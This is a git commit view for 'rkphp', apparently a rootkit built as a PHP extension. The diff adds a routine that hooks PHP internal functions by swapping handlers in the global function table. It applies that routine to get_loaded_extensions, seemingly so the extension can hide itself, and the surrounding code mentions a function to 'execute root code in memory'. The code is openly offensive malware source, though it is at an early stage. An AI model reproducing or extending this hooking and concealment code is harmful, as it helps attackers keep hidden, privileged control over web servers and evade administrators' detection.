Browse Source

Default

master
Root 5 years ago
parent
commit
72cb049819
  1. 2
      rkphp/config.m4
  2. 11
      rkphp/include/common.h
  3. 2
      rkphp/src/main.c
  4. 63
      rkphp/src/php_funcs.c

2
rkphp/config.m4

@ -15,5 +15,5 @@ if test "$PHP_RKPHP" != "no"; then @@ -15,5 +15,5 @@ if test "$PHP_RKPHP" != "no"; then
fi
dnl Tell the build system about the extension and what files to use.
PHP_NEW_EXTENSION(rkphp, src/main.c src/php_funcs.c, $ext_shared)
PHP_NEW_EXTENSION(rkphp, src/main.c src/php_hook.c src/php_funcs.c, $ext_shared)
fi

11
rkphp/include/common.h

@ -18,13 +18,11 @@ @@ -18,13 +18,11 @@
#define RKPHP_DEBUG 0
#endif
#define RKPHP_NAME "rkphp"
#define RKPHP_NAME "rkphp.so" // Make sure to include .so
#define RKPHP_VERSION "0.0.1"
extern zend_module_entry rkphp_module_entry;
#define phpext_rkphp_ptr &rkphp_module_entry
ZEND_DECLARE_MODULE_GLOBALS(rkphp);
#define phpext_rkphp_me_ptr &rkphp_module_entry;
ZEND_BEGIN_MODULE_GLOBALS(rkphp)
int rkphp_glob;
@ -50,11 +48,6 @@ PHP_MINFO_FUNCTION(rkphp); @@ -50,11 +48,6 @@ PHP_MINFO_FUNCTION(rkphp);
#define RKPHP_PRINTF(...) ((void)0);
#endif
// Prevents my IDE from screaming that certain macro's are not defined
#ifndef SUCCESS
#define SUCCESS 1
#endif
#endif /* rkphp_common.h */
/*

2
rkphp/src/main.c

@ -1,5 +1,7 @@ @@ -1,5 +1,7 @@
#include "common.h"
ZEND_DECLARE_MODULE_GLOBALS(rkphp);
/* {{{ rkphp_functions[]
*
* Every user visible function must have an entry in rkphp_functions[].

63
rkphp/src/php_funcs.c

@ -1,8 +1,49 @@ @@ -1,8 +1,49 @@
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include "common.h"
int rkphp_hook(
const char *method_name,
void (*hook)(INTERNAL_FUNCTION_PARAMETERS),
void (**original)(INTERNAL_FUNCTION_PARAMETERS)
)
{
zend_function *function;
if(!hook || !original)
{
RKPHP_PRINTF("Unable to apply hook, no hook address / original address!\n");
return -1;
}
if((function = zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name))) != NULL)
{
*original = function->internal_function.handler;
function->internal_function.handler = *hook;
RKPHP_PRINTF("Hooked function '%s' "
"(original: %p) -> (hook: %p)\n", method_name, &original, &hook);
return 0;
}
else
{
RKPHP_PRINTF("Unable to locate function '%s' in global function table.\n",
method_name);
return -1;
}
return 0;
}
void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS);
void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
{
php_printf("HELLO, I hooked your bitch of a get_loaded_extensions from php in c!\n");
}
/* {{{ proto void rkphp_ex(int code, int pid)
* Execute root code in memory. */
PHP_FUNCTION(rkphp_ex)
@ -59,6 +100,28 @@ PHP_MINIT_FUNCTION(rkphp) @@ -59,6 +100,28 @@ PHP_MINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MINIT!\n");
rkphp_hook("get_loaded_extensions",
n_get_loaded_extensions,
&o_get_loaded_extensions);
/*
ulong idx;
#if PHP_VERSION_ID < 70000
char *key;
#else
zend_string *key;
#endif
zval *val;
HashTable *module_registry;
ZEND_HASH_FOREACH_KEY_VAL(module_registry, idx, key, val)
{
php_printf("HELLO\n");
} ZEND_HASH_FOREACH_END();
*/
return SUCCESS;
}
/* }}} */

Loading…
Cancel
Save